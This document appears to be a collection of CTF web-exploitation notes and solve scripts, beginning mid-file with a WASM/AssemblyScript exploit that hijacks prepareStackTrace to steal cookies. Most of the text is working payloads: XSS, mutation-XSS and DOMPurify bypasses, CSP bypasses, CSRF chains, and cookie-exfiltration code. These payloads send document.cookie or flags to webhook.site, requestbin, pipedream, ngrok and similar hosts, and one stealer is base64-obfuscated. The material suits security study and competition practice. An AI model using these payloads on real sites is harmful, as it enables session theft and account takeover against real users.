return index(resultArr, 0);
/*
DefineProperty(resultArr,"0", vDesc)
└─ ToPropertyDescriptor(vDesc)
└─ Get(vDesc,"value") → R // data read, no call
→ DataDescriptor { value: R }
→ resultArr[0] = R
→ index(resultArr,0) === R
*/
}
}
const TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
export function base64Encode(s: string): string {
var out = "";
var i: i32 = 0;
var len: i32 = s.length;
while (i + 2 < len) {
var b1: i32 = s.charCodeAt(i++) & 0xFF;
var b2: i32 = s.charCodeAt(i++) & 0xFF;
var b3: i32 = s.charCodeAt(i++) & 0xFF;
var triple: i32 = (b1 << 16) | (b2 << 8) | b3;
out += TABLE.charAt((triple >> 18) & 63)
+ TABLE.charAt((triple >> 12) & 63)
+ TABLE.charAt((triple >> 6) & 63)
+ TABLE.charAt(triple & 63);
}
var rem: i32 = len - i;
if (rem === 1) {
var x1: i32 = s.charCodeAt(i) & 0xFF;
var t1: i32 = x1 << 16;
out += TABLE.charAt((t1 >> 18) & 63)
+ TABLE.charAt((t1 >> 12) & 63)
+ "==";
} else if (rem === 2) {
var x2_1: i32 = s.charCodeAt(i) & 0xFF;
var x2_2: i32 = s.charCodeAt(i + 1) & 0xFF;
var t2: i32 = (x2_1 << 16) | (x2_2 << 8);
out += TABLE.charAt((t2 >> 18) & 63)
+ TABLE.charAt((t2 >> 12) & 63)
+ TABLE.charAt((t2 >> 6) & 63)
+ "=";
}
return out;
}
var windowObject: externref;
export function hook(error: externref, structuredStackTrace: externref): void {
// Depending on the caller this might be different, on remote and local this will be forced to be 2 due to the extra functions
let windowCallSite = index(structuredStackTrace, 2);
let getThis = getDescriptorValue(
Object_getOwnPropertyDescriptor2(
Object_getPrototypeOf1(windowCallSite),
createString("getThis")
));
windowObject = callProperty(windowCallSite, getThis);
// get document and cookie
let document = getProperty(windowObject, Object_getOwnPropertyDescriptor2(windowObject, createString("document")), false);
let cookie = getProperty(document, Object_getOwnPropertyDescriptor2(Object_getPrototypeOf1(Object_getPrototypeOf1(document)), createString("cookie")), false);
// Convert cookie into a assemblyscript string
RETURN_STRING = "";
Object_groupBy2_func(cookie, get_char);
// Convert the cookie to base64, encodeURIComponent is broken for longer strings it seemed
RETURN_STRING = base64Encode(RETURN_STRING);
let exfill_target = EXFILL_URL + RETURN_STRING;
// Convert wasm string to js string
let targetUrl = createString(exfill_target);
RETURN_CONSTANT2 = targetUrl;
let emit = Object_assign1_funcref(return_constant2);
let navigator = getProperty(windowObject, Object_getOwnPropertyDescriptor2(windowObject, createString("navigator")), false);
/* Finally trickery to call sendBeacon, the point is that groupBy(..., sendBeacon) will fail because there is no underlying object */
// We're defining strings first, because createString won't work when we mess with the proto more
let zeroString = createString("0");
let sendBeaconDesc = Object_getOwnPropertyDescriptor2(Object_getPrototypeOf1(navigator), createString("sendBeacon"));
let setterDesc = Object_create1(null);
Object_defineProperty3(setterDesc, set_String, sendBeaconDesc);
Object_defineProperty3_int(object_prototype, 0, setterDesc);
/*
defineProperty(Object.prototype,"0", setterDesc)
└─ ToPropertyDescriptor(setterDesc)
└─ Get(setterDesc,"set") → sendBeacon (function) // because we put the data value there
→ AccessorDescriptor { [[Set]] = sendBeacon }
→ Object.prototype["0"] is now an accessor with setter = navigator.sendBeacon
*/
let baseIndexDesc = Object_getOwnPropertyDescriptor2(Object_values1(sample_String), zeroString);
let selfGetter = Object_create1(null);
Object_defineProperty3(selfGetter, get_String, valueOf_Descriptor);
Object_defineProperty3(emit, value_String, selfGetter);
let acc = Object_create1(null);
Object_defineProperty3(acc, get_String, emit);
Object_defineProperty3(baseIndexDesc, value_String, acc);
let src = Object_create1(null);
Object_defineProperty3_int(src, 0, baseIndexDesc);
/*
defineProperty(src,"0", baseIndexDesc)
└─ ToPropertyDescriptor(baseIndexDesc)
└─ Get(baseIndexDesc,"value") // it's an ACCESSOR now
└─ Call([[Get]]=emit, this=baseIndexDesc, args=[])
└─ return_constant2() → RETURN_CONSTANT2 → targetUrl
→ DataDescriptor { value: targetUrl, enumerable: true, ... }
→ src["0"] becomes an own enumerable data property with value targetUrl
*/
// call sendBeacon
Object_assign2(navigator, src);
/*
for each own enumerable key K of src:
let V = src[K]; // here K === "0", V === targetUrl
Set(navigator, K, V) // [[Set]] on navigator
└─ navigator has no own "0" → falls to Object.prototype["0"]
which is an accessor with [[Set]] = sendBeacon
→ Call(sendBeacon, this=navigator, args=[targetUrl])
*/
}
export function exploit(): void {
/* First define a number of useful objects */
setupConstants();
let prepareStackTraceString = createString("prepareStackTrace");
/* The following is a trick to get a {value: myFunction} i.e funcRef.value = funcref */
let getterDesc = Object_create1(null);
Object_defineProperty3(getterDesc, get_String, valueOf_Descriptor);
let funcRef = Object_assign1_funcref(hook);
Object_defineProperty3(funcRef, value_String, getterDesc);
// Now just do a define of object prototype of prepareStackTrace
Object_defineProperty3(object_prototype, prepareStackTraceString, funcRef);
// Object.prototype.prepareStackTraceString = {value: hook}
// Trigger a WASM error to call into hook;
unreachable();
}
/* An indirect call to force the same constants on remote */
export function main(): void {
exploit();
}
export function renderPixel(x: i32, y: i32, dt: f32): i32 {
exploit();
return 0xAA00FF;
}PACE OPTIONS XSS
| Event Name | Malta CTF Quals |
| GitHub URL | https://github.com/Expressionless/maltactf-2025-quals/blob/master/web/fancy-text-generator/solution/solve.py |
| Challenge Name | Enterprise template as a service |
Attachments
References
Remember that html entity is start with &
| Event Name | Bi0s CTF 2025 |
| GitHub URL | - |
| Challenge Name | My Flask App Revenge |
attachment
document.addEventListener("DOMContentLoaded", async function() {
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
// get url serach params
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');
if (name) {
fetch(`/api/users?name=${name}`)
.then(response => response.json())
.then(data => {
frames = data.map(user => {
return `
<iframe src="/render?${Object.keys(user).map((i)=> encodeURI(i+"="+user[i]).replaceAll('&','%26')).join("&")}"></iframe>
`;
}).join("");
document.getElementById("frames").innerHTML = frames;
})
.catch(error => {
console.log("Error fetching user data:", error);
})
}
if(window.name=="admin"){
js = urlParams.get('js');
if(js){
eval(js);
}
}
})
solver
import asyncio
import httpx
URL = "http://localhost:5001/"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url, verify=False, timeout=100)
self.session = ""
def register(self, username, password):
response = self.c.post("/register", json={"username": username, "password": password})
return response
def login(self, username, password):
response = self.c.post("/login", json={"username": username, "password": password})
return response
def update_bio(self, bio):
response = self.c.post("/update_bio", json=bio)
return response
def report(self, name):
return self.c.post("/report", json={"name": name})
class API(BaseAPI):
...
async def main():
api = API()
creds = "poobarss3"
await api.register(creds, creds)
res = await api.login(creds, creds)
b = '''<iframe name=admin srcdoc=\"<meta http-equiv=refresh content='1; url=about:srcdoc?js=top.location=`https://webhook.site/df8e48c8-8127-4ae6-86d6-f753b26c0197?`.concat(document.cookie);'><script src=/static/users.js></script>\">'''
res = await api.update_bio({'#x26;bio': b, "!":"x", "bio": "a"})
res = await api.report(creds)
print(res.text)
if __name__ == "__main__":
asyncio.run(main())Math + Anotation XML + Style MXSS in rails-html-sanitizer 1.6.2
| Event Name | Bi0s CTF 2025 |
| GitHub URL | - |
| Challenge Name | flavour less |
attachment
<math><annotation-xml encoding="text/html"><style><img src onerror=alert(origin)>
XSS Name Trick
| Event Name | Google CTF 2023 |
| GitHub URL | https://github.com/google/google-ctf/tree/master/2023/web-biohazard |
| Challenge Name | biohazard |
w = window.open("https://google.com", "<name>")
then the other website we open will have window.name = "<name>"
Prototype pollution and dom clobbering lead to csp bypass and xss
| Event Name | Google CTF 2023 |
| GitHub URL | https://github.com/google/google-ctf/tree/master/2023/web-biohazard |
| Challenge Name | biohazard |
bio hazard unitended solution https://gist.github.com/arkark/340ffadc009a4dd07be6696e0dec4553https://biohazard-web.2023.ctfcompetition.com/static/closure-library/closure/goog/demos/xpc/minimal/?peerdomain=google.com
My solution for BIOHAZARD didn't use prototype pollution  I just used `/static/closure-library/closure/goog/demos/xpc/minimal/index.html?peerdomain={{ATTACKER_DOMAIN}}` and sent XSS payload from `ATTACKER_DOMAIN`. ref. [<https://github.com/shhnjk/closure-library/blob/master/closure/goog/demos/xpc/minimal/index.html>](<https://github.com/shhnjk/closure-library/blob/master/closure/goog/demos/xpc/minimal/index.html> "<https://github.com/shhnjk/closure-library/blob/master/closure/goog/demos/xpc/minimal/index.html>")
I don't know xpc, but I could exploit using files in demos. In ATTACKER_DOMAIN, I added the following script to https://github.com/shhnjk/closure-library/blob/master/closure/goog/demos/xpc/minimal/inner.html
<script>
const inputElm = document.querySelector("#msgInput");
const submitElm = document.querySelector("body > p > input[type=button]:nth-child(2)");
inputElm.value = `<img src=0 onerror="location = '{{WEBHOOK_URL}}/?' + document.cookie">`;
const f = () => {
if (channel.send) {
submitElm.click();
} else {
setTimeout(f, 500);
}
};
setTimeout(f, 500);
</script>
looks like this is a demo page to send messages between two different websites. And the parent logs messages with innerHTML
/**
* Writes a message to the log.
* @param {string} msg The message text.
*/
function log(msg) {
logEl || (logEl = goog.dom.getElement('log'));
var msgEl = goog.dom.createDom(goog.dom.TagName.DIV);
msgEl.innerHTML = msg;
logEl.insertBefore(msgEl, logEl.firstChild);
}
and I guess the demo page allows loading your own domain in one frame. and then you send a message over that is then logged. thus triggering XSS if you send a XSS payload.
https://github.com/shhnjk/closure-library/blob/master/closure/goog/demos/xpc/minimal/index.html
Postviewer
| Event Name | Google CTF 2023 |
| GitHub URL | https://gist.github.com/tyage/7fe72b4fb564c34ee94d0a531c7e94aehttps://github.com/google/google-ctf/tree/master/2023/web-postviewer2 |
| Challenge Name | Postviewer2 |
0-day XSS on phlib/xss-sanitizer
| Event Name | Cyber Jawara National 2024 |
| GitHub URL | - |
| Challenge Name | Not So Readymade Sanitizer |
Attachments
solve script
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script>
const webhook = "webhook";
const hostname = "not-so-readymade-sanitizer-web";
window.open(`http://${hostname}/idk`)
const leak = async (url) => {
return new Promise((r) => {
let s = document.createElement('script')
s.src = url
s.onload = (e) => {
e.target.remove()
return r(1)
}
s.onerror = (e) => {
e.target.remove()
return r(0)
}
document.head.appendChild(s)
})
}
let log = (msg) => {
console.log(msg)
navigator.sendBeacon(`http://${webhook}/log`, msg)
}
let chars = "0123456789abcdef";
const sleep = ms => new Promise(r => setTimeout(r, ms));
async function main() {
let known = '';
let found;
log('init')
do {
found = false;
for (const c of chars) {
const candidate = known + c;
const param = encodeURIComponent(candidate + '%');
const url = `http://${hostname}/search.php?password=${param}`;
const res = await leak(url);
if (res) {
known = candidate;
log(`found ${known}`)
found = true;
break;
}
// await sleep(300);
}
} while (found);
log(`Password: ${known}`);
let a = `
fetch('/flag.php').then((r)=>{r.text().then((r)=>{navigator.sendBeacon('http://${webhook}/', r)})})
`
window.name = a
window.open(`http://${hostname}/index.php?password=${known}&html=<xss id=">" oncontentvisibilityautostatechange=eval(name) style=display:block;content-visibility:auto>`, a)
}
main()
</script>
</body>
</html>
to get xss you can do something like this
http://localhost:4242/?password=assd&html=<xss%20autofocus%20x=">"%20onfocus=alert(1)%20tabindex=1>
decoded
<xss autofocus x=">" onfocus=alert(1)>
Use another domain to set a cookie
| Event Name | LA CTF 2025 |
| GitHub URL | https://github.com/uclaacm/lactf-archive/tree/main/2025 |
| Challenge Name | antisocial-media |
Attachments
bot.js
const crypto = require("crypto");
module.exports = {
name: "antisocial-media",
async execute(browser, url) {
const page = await browser.newPage();
// Sets the FLAG cookie.
await page.setCookie({
name: "secret",
value: process.env.CHALL_ANTISOCIAL_MEDIA_ADMIN_PW || "placeholder",
domain: process.env.CHALL_ANTISOCIAL_MEDIA_DOMAIN || "localhost",
httpOnly: true,
sameSite: "Lax",
});
// Logins to the site.
await page.goto(process.env.CHALL_ANTISOCIAL_MEDIA_URL || "http://localhost:3000");
await page.waitForSelector("#username");
await page.type("#username", crypto.randomBytes(32).toString("hex"));
await page.type("#password", crypto.randomBytes(32).toString("hex"));
await page.click("#login");
await page.waitForNavigation();
// Visits the given URL.
await page.goto(url);
await page.waitForNetworkIdle({
timeout: 10000,
});
await page.close();
},
};
Benson liu
My solve script for web/antisocial-media.
.replace trick using $ to bypass the script-src CSPwindow.open to bypass the connect-src CSPmavs-fan to set domain cookie + Logout CSRF#!/usr/bin/env python3
import requests
import random
import time
url = "https://antisocial-media.chall.lac.tf"
trampoline = "https://mavs-fan.chall.lac.tf"
etld = ".chall.lac.tf"
s = requests.Session()
username = "bliutech" + random.randbytes(16).hex()
password = "password" + random.randbytes(16).hex()
r = s.post(url + "/api/login", json={"username": username, "password": password})
r.raise_for_status()
time.sleep(1)
payload = f"""
</script>$`/*
*/f=parent./*
*/frames[0]./*
*/document./*
*/body./*
*/innerText;/*
*/open("ht"+/*
*/"tps://t"+/*
*/"inyurl."+/*
*/"com/bli"+/*
*/"utech?q"+/*
*/"="+f);/*
*/</script><!--
"""
for line in payload.splitlines()[1:]:
payload = line.strip()
r = s.post(url + "/api/notes", json={"note": payload})
r.raise_for_status()
session_cookie = s.cookies.get_dict().get("connect.sid")
print("Session cookie:", session_cookie)
time.sleep(1)
# CSRF the flag on mavs-fan
payload = f"""
<form action='{url}/flag' method='POST'></form>
<img src='x' onerror='document.forms[0].submit()'>
"""
r = s.post(trampoline + "/api/post", data={"message": payload})
r.raise_for_status()
csrf_url = r.url
time.sleep(1)
# Logout CSRF
payload = f"""
<form action='{url}/api/logout' method='POST'></form>
<img src='x' onerror='document.forms[0].submit()'>
"""
r = s.post(trampoline + "/api/post", data={"message": payload})
r.raise_for_status()
logout_url = r.url
time.sleep(1)
# Pivot to mavs-fan and tigger full chain.
payload = f"""
<iframe src='{csrf_url}'></iframe>
<img src='x' onerror="window.payload = document.createElement('div'); window.payload.id='payload'; document.body.appendChild(window.payload);">
<img src='x' onerror="window.payload2 = document.createElement('div'); window.payload2.id='payload2'; document.body.appendChild(window.payload2);">
<img src='x' onerror="setTimeout(() => document.cookie = 'connect.sid={session_cookie};path=/;domain={etld}', 1000)">
<img src='x' onerror="setTimeout(() => document.getElementById('payload').innerHTML += '<iframe src=\\\\'{logout_url}\\\\'></iframe>', 2000)">
<img src='x' onerror="setTimeout(() => document.getElementById('payload2').innerHTML += '<iframe src=\\\\'{url}/profile\\\\'></iframe>', 3000)">
"""
r = s.post(trampoline + "/api/post", data={"message": payload})
r.raise_for_status()
print("Submit the following URL to the admin bot:")
print("Payload:", r.url)
Siunam
basically we used challenge web/purell to set our own user's session on domain .chall.lac.tf and path /profile, then use the XSS payload on web/purell to redirect to antisocial-media.chall.lac.tf, which triggers the XSS payload on antisocial-media and exfiltrate the flag
XSS only in firefox and can be triggered if the user do location.reload | resufle the iframe with sandbox and without sandbox and gain XSS
| Event Name | PWNME CTF Quals 2025 |
| GitHub URL | https://github.com/Phreaks-2600/PwnMeCTF-2025-quals/ |
| Challenge Name | A 18 years old bug |
Attachments
References
The target must do location.reload
await page.evaluate(() => {
location.reload();
})
this mus be set too for exploit to work
res.set("Cache-Control", "public, max-age=30");
solver
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Shadow DOM with iframe</title>
</head>
<body>
<h1>Main Page</h1>
<script>
const TARGET = "http://localhost:3000"
const sleep = (ms) => new Promise(res=>setTimeout(res, ms))
const payload = `<img src=x onerror=alert(document.domain)>`
const cachekey = Math.random()
async function main(){
const w = open(TARGET+`/?url=/sandbox?html=${encodeURIComponent(payload)}`, "foo")
await sleep(1000)
w.location = TARGET+`/?${cachekey}`
await sleep(1000)
w.location = TARGET+`/?url=about:version`
await sleep(1000)
w.location = TARGET+`/?${cachekey}`
}
main()
</script>
</body>
</html>XSS Bypass with jsfuck and some weird upper to lower href behaviour
hex2dec writeup from crewctf 2023
let s = '';
for (let i = 0; i < 0x100; i++) {
if (/^[0-f +-]+$/g.test(String.fromCharCode(i))) {
s += String.fromCharCode(i);
}
}
console.log(s); // " +-0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdef"
def gen_str(s):
chars = []
for c in s:
if c.islower():
idx = ord(c) - ord("a")
chars.append(f"X[{idx}]")
elif c == "`":
chars.append(f"`\\\\``")
elif c == "\\\\":
chars.append(f"`\\\\\\\\`")
else:
chars.append(f"`{c}`")
return "+".join(chars)
def gen_unicode_str(s):
return "".join([f"\\\\u{ord(c):04X}" for c in s])
webhook = "<https://webhook.example.com/?">
payload = "<A ID=A HREF= q q:>"
payload += "<IMG SRC ONERROR="
payload += "X=A+``;"
payload += f"HREF={gen_str('href')};"
payload += f"CLICK={gen_str('click')};"
payload += f"COOKIE={gen_str('cookie')};"
payload += f"A[HREF]={gen_str(f'javascript:location[HREF]=`{gen_unicode_str(webhook)}`+document[COOKIE]')};"
payload += f"A[CLICK]``;"
payload += ">"
print(payload)
another sulution
<img alt="ownerDocument" id="rr">
<img alt="defaultView" id="rrr">
<img alt="location" id="rrrr">
<img alt="cookie" id="rrrrr">
<a href="<https://requestbin.example.com/?"> id="rrrrrr"></a>
<script src="/minify?code=rr%5Brr%5Br%3D%5B%2B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%2B%5B%5B%5D%5D%5B%2B%5B%5D%5D%5D%2B%5B%5B%5B%5B%5D%3E%5B%5D%5D%5B%2B%5B%5D%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%2B%5B%2B%2B%5B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5B%2B%5B%5D%5D%5D%2B%5B%5B%5B%5D%3E%3D%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%5Brrr%5Br%5D%5D%5Brrrr%5Br%5D%5D%3Drrrrrr%2Brr%5Brr%5Br%5D%5D%5Brrrrr%5Br%5D%5D"></script>
rr[
// r === 'alt'
// 'ownerDocument'
rr[r=[+[][[]]+[]][+[]][++[[]][+[]]]+[[[[]>[]][+[]]]+[]][+[]][++[++[[]][+[]]][+[]]]+[[[]>=[]]+[]][+[]][+[]]]
][
rrr[r] // 'defaultView'
][
rrrr[r] // 'location'
] = rrrrrr /* rrrrrr.toString() === rrrrrr.href */ + rr[
rr[r] // 'ownerDocument'
][
rrrrr[r] // 'cookie'
]
Menggunakan ParentNode untuk mendapatkan Document Object (TSGCTF2023) (Brainfxxk Challenge)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<a id="rrr" href="rel:">
<a id="rrrr" rel="parentNode">
<a id="rrrrr" rel="location"></a>
<a id="rrrrrr" rel="cookie"></a>
<a id="rrrrrrr" rel="xxx?cookie="></a>
<a id="rrrrrrrr"></a>
<script>
r=+[] // 0
rr=++[[]][+[]] // 1
rrr=rrr+r // rel:0 -> convert "a" tag to string
rrr=rrr[r]+rrr[rr]+rrr[rr+rr] // rel -> rrr[0]+rrr[1]+rrr[2]
rrrr=rrrr[rrr] // parentNode -> rrrr['rel']
rrrrr=rrrrr[rrr] // location -> rrrrr['rel']
rrrrrr=rrrrrr[rrr] // cookie -> rrrrrr['rel']
rrrrrrr=rrrrrrr[rrr] // webhook.site?cookie= -> rrrrrrr['rel']
rrrrrrrr=rrrrrrrr[rrrr][rrrr][rrrr] // Object: HTMLDocument -> rrrrrrrr['parentNode']['parentNode']['parentNode']
r=rrrrrrrr[rrrrrr] // document.cookie
rrrrrrrr[rrrrr]= rrrrrrr+r// document.location = 'webhook.site?cookie='+document.cookie
</script>
</body>
</html>
Undo the js html value
const h = localStorage.getItem('neko-note-history');
const id = JSON.parse(h)[0].id;
document.execCommand('undo');
const pw = document.querySelector('input').value;
navigator.sendBeacon(`https://example.com/?id=${id}&pw=${pw}`);
zer0pts{neko_no_te_mo_karitai_m8jYx9WiTDY}
DOMPurify bypass in httpx document
ImaginaryCTF 2023 (sanitized)
https://github.com/maple3142/My-CTF-Challenges/tree/master/ImaginaryCTF 2023/Sanitized Revenge
a<style><ø:base id="giotino" xmlns:ø="<http://www.w3.org/1999/xhtml>" href="/**/=1;alert(document.cookie);//" /></style>
ff<style><!--</style><a id="--><base href='/**/;var/**/Page;window.name=document.cookie;document.location.host=IPV4_ADDRESS_IN_INTEGER_FORM_REDACTED//'></base><!--"></a><style><k</style><style>--></style>
<body>
<style>a { color: <!--}</style>
<img alt="--></style><base href='/(document.location=/http:/.source.concat(String.fromCharCode(47)).concat(String.fromCharCode(47)).concat(/cb6c5dql.requestrepo.com/.source).concat(String.fromCharCode(47)).concat(document.cookie));var[Page]=[1]//x/' />">
</body>
// run this in browser console to get exploit url
ht = `<div><div id="url">https://webhook.site/65c71cbd-c78a-4467-8a5f-0a3add03e750?</div><style><![CDATA[</style><div data-x="]]></style><iframe name='Page' /><base href='/**/+location.assign(document.all.url.textContent+document.cookie)//' /><style><!--"></div><style>--></style></div>`
copy(ht)
I'm not 100% sure if this is right, but my understanding of how this works - HTML and XHTML have different rules for parsing things, especially <style> tags and <![CDATA[ nodes. HTML basically ignores cdata nodes, so the </style> in inside the CDATA closes the style tag in html but not in XHTML. So in HTML the style element is `<style><![CDATA[</style>` where in XHTML it is `<style><![CDATA[</style><div data-x"]]></style>` since the </style> inside the CDATA section does not close the style tag in XHTML unlike in HTML . In HTML, a lot of the rest of this is inside the data-x attribute, so DOMPurify thinks it is safe as it is inside a safe attribute. in XHTML, where the style tag ends later, the rest of this is not inside the attribute, so its treated as normal tags. The iframe with the name attribute is used for DOM clobbering, in order to make sure that the js variable named `Page` is defined. This is needed so the 404 page is valid js. Then the base tag changes the interpretation of the script tags already on the page to load them with that prefix, which triggers a 404 response, but since the name of the page is in the 404 response, this turns out to be valid javascript that redirects the page and the cookies to the webhook.
not work, only dompurify 3.0.5
<x><style><!--</style><img title="--></style><base href='/**/=1;alert(1)//'></base>">
import html
script = f'''
<style><!--</style><img title="--></style>
<iframe srcdoc='{html.escape('<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script><img src="x" ng-on-error="document=$event.target.ownerDocument.defaultView.parent;document.alert(document.location)"/>')}'></iframe>
'''
print(script)
unitended using express js behaviour
http://0.0.0.0:3000/a/g;alert(1)//a%2f..%2f..%2f..%2findex.html
CSP sha256 bypass
frogshare (cor ctf 2023)
i spent so much time doing this shit
<foreignObject>
<iframe srcdoc='
<!DOCTYPE html>
<html>
<head>
<base href="<https://eog5s758w3ele8d.m.pipedream.net/>">
<script defer="">var scripts = ['/_next/static/chunks/webpack-8fa1640cc84ba8fe.js','/_next/static/chunks/framework-2c79e2a64abdb08b.js','/_next/static/chunks/main-f11614d8aa7ee555.js','/_next/static/chunks/pages/_app-9ae7fe4840c69ee5.js','/_next/static/chunks/563-2188736518d17c1f.js','/_next/static/chunks/226-7ba96d4cf9c948e4.js','/_next/static/chunks/pages/frogs/%5Bid%5D-6b71efae2fad8343.js','/_next/static/6gniHfstKbVd8Ond1a8dE/_buildManifest.js','/_next/static/6gniHfstKbVd8Ond1a8dE/_ssgManifest.js']
scripts.forEach(function(scriptUrl) {
var s = document.createElement('script')
s.src = scriptUrl
s.async = false // to preserve execution order
s.defer = true
document.head.appendChild(s)
})</script>
</head>
</html>
'></iframe>
</foreignObject>
So we can use base tag trick if the sha of the script that generated in srcdoc same as that generated in csp.
xss in a tag (bauhania CTF 2023 river crab extinction)
Code with issues: https://github.com/e2guardian/e2guardian/blob/v3.4/src/HTMLTemplate.cpp#L172-L182
https://github.com/e2guardian/e2guardian/issues/782
another payload:
<http://34.101.126.116:53622/'autofocus//onfocus=eval(atob('Y29uc3QgY29va2llID0gZG9jdW1lbnQuY29va2llCmNvbnN0IHhodHRwID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CnhodHRwLm9wZW4oIkdFVCIsIGBodHRwOi8vLzAudGNwLmFwLm5ncm9rLmlvOjE4MzQ2P2Nvb2tpZT0ke2Nvb2tpZX1gLCB0cnVlKTsKeGh0dHAuc2VuZCgpOw=='));'>
Mini XSS using BaseURI in iframe
SekaiCTF 2023 Golf Jail
because location hash will be decoded to uri, we use decodeURICompenent to bypass it
<svg/onload=eval(`'`+baseURI)>#';eval(decodeURIComponent('console.log(1)'))
<svg/onload=eval(`'`+URI)>#';eval(decodeURIComponent('console.log(1)'))
Another Mini XSS, but using HTMX tag
<i hx-on::load=eval("'"+location)>
<i hx-on::load=eval(name)>
<http://localhost:8080/note/aaaa#'+eval(decodeURIComponent('alert(1)>'))
sXSS using function Math (conditional)
https://sekai.team/blog/intigriti-0823/writeup/
bypass iframes lenght using attachShadow
Bypass this:
plz xss
<script>window.onmessage = e => (e.source == top && e.source.length == 0 ? console.log(e.source, e.source.length) || eval(e.data) : console.log(e, e.source == top))</script>
ex
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Shadow DOM with iframe</title>
</head>
<body>
<h1>Main Page</h1>
<div id="shadow-container"></div>
<script>
const shadowContainer = document.querySelector('#shadow-container');
const shadowRoot = shadowContainer.attachShadow({ mode: 'open' });
// Create an iframe element
const iframe = document.createElement('iframe');
iframe.src = '<http://web/>';
iframe.width = '500';
iframe.height = '300';
shadowRoot.appendChild(iframe);
console.log(iframe.contentWindow);
setTimeout(function() { shadowRoot.querySelector('iframe').contentWindow.postMessage('x=open("<http://web/");open("https://asdsadsadsad.free.beeceptor.com/?flag=>"+encodeURIComponent(x.document.cookie))','*') } , 500);
</script>
</body>
</html>
XSS Sink
> "asd".replace("asd",()=>{console.log("testing")})
testing
'undefined'
path transfesal in URL class
> new URL("<https://google.com/asd/../malicious>")
URL {
href: '<https://google.com/malicious>',
origin: '<https://google.com>',
protocol: 'https:',
username: '',
password: '',
host: 'google.com',
XSS with CVE
It has CVE-2019-20372 (Request Smuggling):
1linenginx
https://balsnctf.com/challenges#1linenginx-25
https://gist.github.com/arkark/32e1a0386360fe5ce7d63e141a74d7b9
Awesomenotes II Hacklu ctf 2023
only work in amonia sanitizer in rust. with specific allow list?
<math><semantics><mi>a</mi><annotation-xml encoding="text/html"><style><span>xxx<h1>no</h1><img src=x onerror="alert(1)"></span></style></annotation-xml></semantics><mo>+</mo><mi>b</mi></math>
math annotation-xml if it has an attribute called encoding whose value is equal to either text/html or application/xhtml+xml
another solver
<math><mtext><svg><style><a title="</style><img src onerror=alert(1)>">test
<math><semantics><annotation-xml encoding="text/html"><style></math><img src=x onerror="alert(1)">
Bypassing working context using meta redirection
https://github.com/maple3142/My-CTF-Challenges/blob/master/HITCON CTF 2023/Canvas/exp/exp2.html
setHTML is a component of the HTML Sanitizer API, and it's worth noting that the default allowlist includes the meta tag, allowing you to leverage it for the purpose of navigating to a blob URL. The key advantage here is that this navigation remains within the same origin, ensuring seamless functionality.
let url = URL.createObjectURL(new this.Blob(['redirect to blob'], { type: 'text/html' }))
document.write('<meta http-equiv="refresh" content="0; url='+url+'">')
Dompurify Inject Style
<svg><style>aaa</style></svg>
Actually why does dompurify do this is it because it doesn't sanitize in svg namespace
No... Just some of tags could be used inside svg, which is safe normally.
you can do something like this too
a<style></style>
Mutation XSS in JSON inside script tag using domclobering to make it work
example at tsgctf 2023 challenge Absurdress
<figure>
{{img|safe}}
<figcaption>
Quote this image by
<code></code>
<button type="button" class="copy">Copy</button>
</figcaption>
</figure>
<script nonce="{{csp_nonce()}}">
const files = {{files|json|safe}};
const file = getBestImage(files, window.devicePixelRatio);
where the mutation here:
@app.template_filter('json')
def json_filter(dttm):
return json.dumps(dttm, ensure_ascii=False)
def get_img_srcset(file):
if file['zoom'] is not None:
return f'/assets/{file["path"]} {file["zoom"]}x'
return f'/assets/{file["path"]}'
def get_img(alt, image_id):
if request.path.startswith('/images/'):
image_id = request.path.split('/')[-1]
image = db.images.find_one({'image_id': image_id})
if image is None:
return ''
srcset = ', '.join(get_img_srcset(file) for file in image['files'])
return f'<img srcset="{srcset}" alt="{alt}">'
def replace_img(match):
return get_img(match.group(1).decode(), match.group(2).decode()).encode()
@app.after_request
def after_request(response):
response.direct_passthrough = False
data = response.get_data()
response.data = re.sub(b'!\\\\[(.*?)\\\\]\\\\((.+?)\\\\)', replace_img, data)
return response
solver:
from hashlib import md5
import random
import httpx
URL = "<http://34.84.176.251:55416/>"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
class API(BaseAPI):
def upload_image(s, file):
return s.c.post("/image", files={"image": file}, follow_redirects=True)
def get_image(s, filehash):
return s.c.get("/images/"+filehash)
if __name__ == "__main__":
api = API()
content = open("output.png", "rb").read()+random.randbytes(6)
res = api.upload_image(('document..x+"+` name=x2><a id=assets><a id=images>`+', content, 'image/png'))
hash = md5(content).hexdigest()
res = api.get_image(hash)
print(res.text)
print(res.url)
another
#!/usr/bin/env zsh
# ddd.png is a valid png file
# need to prepare a valid domain name (e.g. abc.com)
cat ddd.png <(dd if=/dev/urandom bs=1 count=8) > tmp.png
curl '<http://34.84.176.251:55416/image>' -F 'image=@tmp.png; filename="STARTEND`/window.ext+((new Image)['"'"'src'"'"']='"'"'\\x2f\\x2fabc\\x2ecom?'"'"'+document['"'"'cookie'"'"'])}];`;<!-- \\" id=assets><div id=images><div id=x2>-->"'
md5sum tmp.png | awk '{ print $1 }'
# admin visit <http://34.84.176.251:55416/images/$hash>
# TSGCTF{1girl, hacker, in front of computer, hooded, in dark room, table, sitting, keyboard, 8k wallpaper, highly detailed, absurdres}
import requests
import os
from hashlib import md5
from time import sleep
url = "<http://34.84.176.251:55416>"
# url = "<http://localhost:55416>"
